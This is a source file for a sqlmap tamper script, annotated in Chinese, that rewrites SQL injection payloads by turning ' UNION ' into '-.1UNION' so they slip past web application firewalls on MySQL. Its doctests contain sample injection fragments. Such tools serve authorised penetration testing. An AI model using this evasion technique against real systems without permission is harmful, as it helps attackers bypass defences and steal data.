#!/usr/bin/env python

"""
Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import os
import re

# 从sqlmap的库中导入一些枚举和函数
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHEST

# 定义dependencies函数，用于在运行tamper脚本时显示警告信息
def dependencies():
    singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))

def tamper(payload, **kwargs):
    """
    Replaces instances of UNION with -.1UNION

    Requirement:
        * MySQL

    Notes:
        * Reference: https://raw.githubusercontent.com/y0unge/Notes/master/SQL%20Injection%20WAF%20Bypassing%20shortcut.pdf

    >>> tamper('1 UNION ALL SELECT')
    '1-.1UNION ALL SELECT'
    >>> tamper('1" UNION ALL SELECT')
    '1"-.1UNION ALL SELECT'
    """
    # 使用正则表达式替换payload中的UNION关键字，前面加上-.1
    # 这样做是为了绕过某些WAF（Web Application Firewall）的检测
    # 正则表达式(?i)\s+(UNION )匹配UNION关键字，并且忽略大小写
    # \g<1>是反向引用，表示替换时保留匹配到的UNION关键字
    return re.sub(r"(?i)\s+(UNION )", r"-.1\g<1>", payload) if payload else payload
